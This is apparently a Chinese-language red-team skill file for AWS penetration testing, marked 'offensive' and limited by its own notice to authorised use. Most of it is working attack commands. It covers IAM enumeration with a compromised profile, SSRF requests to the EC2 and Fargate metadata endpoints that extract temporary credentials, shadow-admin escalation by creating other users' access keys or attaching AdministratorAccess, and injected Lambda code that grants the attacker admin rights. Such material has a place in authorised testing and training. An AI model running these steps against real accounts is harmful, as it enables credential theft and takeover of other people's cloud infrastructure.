
关于
提供 AWS 云环境渗透测试的全面技术。涵盖 IAM 枚举、权限提升、SSRF 到元数据端点、S3 存储桶利用、Lambda 代码提取和红队持久化技术。
name: aws-penetration-testing description: "提供 AWS 云环境渗透测试的全面技术。涵盖 IAM 枚举、权限提升、SSRF 到元数据端点、S3 存储桶利用、Lambda 代码提取以及红队操作的持久化技术。" risk: offensive source: community author: zebbern date_added: "2026-02-27"
仅限授权使用:仅在授权的安全评估、防御验证或受控教育环境中使用此技能。
AWS 渗透测试
目的
提供 AWS 云环境渗透测试的全面技术。涵盖 IAM 枚举、权限提升、SSRF 到元数据端点、S3 存储桶利用、Lambda 代码提取以及红队操作的持久化技术。
输入/前提条件
- 已配置凭证的 AWS CLI
- 有效的 AWS 凭证(即使是低权限的)
- 理解 AWS IAM 模型
- Python 3、boto3 库
- 工具:Pacu、Prowler、ScoutSuite、SkyArk
输出/交付物
- IAM 权限提升路径
- 提取的凭证和密钥
- 被攻陷的 EC2/Lambda/S3 资源
- 持久化机制
- 安全审计发现
核心工具
| 工具 | 用途 | 安装方式 |
|------|---------|--------------|
| Pacu | AWS 利用框架 | git clone https://github.com/RhinoSecurityLabs/pacu |
| SkyArk | Shadow Admin 发现 | Import-Module .\\SkyArk.ps1 |
| Prowler | 安全审计 | pip install prowler |
| ScoutSuite | 多云审计 | pip install scoutsuite |
| enumerate-iam | 权限枚举 | git clone https://github.com/andresriancho/enumerate-iam |
| Principal Mapper | IAM 分析 | pip install principalmapper |
核心工作流程
步骤 1:初始枚举
识别被攻陷的身份和权限:
# Check current identity
aws sts get-caller-identity
# Configure profile
aws configure --profile compromised
# List access keys
aws iam list-access-keys
# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
步骤 2:IAM 枚举
# List all users
aws iam list-users
# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER
# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER
# List inline policies
aws iam list-user-policies --user-name TARGET_USER
# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME
步骤 3:元数据 SSRF(EC2)
利用 SSRF 访问元数据端点(IMDSv1):
# Access metadata endpoint
http://169.254.169.254/latest/meta-data/
# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Response contains:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2019-08-01T05:20:30Z"
}
对于 IMDSv2(需要 token):
# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
"http://169.254.169.254/latest/api/token")
# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Fargate 容器凭证:
# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...
# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
权限提升技术
Shadow Admin 权限
以下权限等同于管理员:
| 权限 | 利用方式 |
|------------|--------------|
| iam:CreateAccessKey | 为管理员用户创建密钥 |
| iam:CreateLoginProfile | 为任何用户设置密码 |
| iam:AttachUserPolicy | 将管理员策略附加到自身 |
| iam:PutUserPolicy | 添加内联管理员策略 |
| iam:AddUserToGroup | 将自身添加到管理员组 |
| iam:PassRole + ec2:RunInstances | 使用管理员角色启动 EC2 |
| lambda:UpdateFunctionCode | 向 Lambda 注入代码 |
为其他用户创建访问密钥
aws iam create-access-key --user-name target_user
附加管理员策略
aws iam attach-user-policy --user-name my_username \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
添加内联管理员策略
aws iam put-user-policy --user-name my_username \
--policy-name admin_policy \
--policy-document file://admin-policy.json
Lambda 权限提升
# code.py - Inject into Lambda function
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response
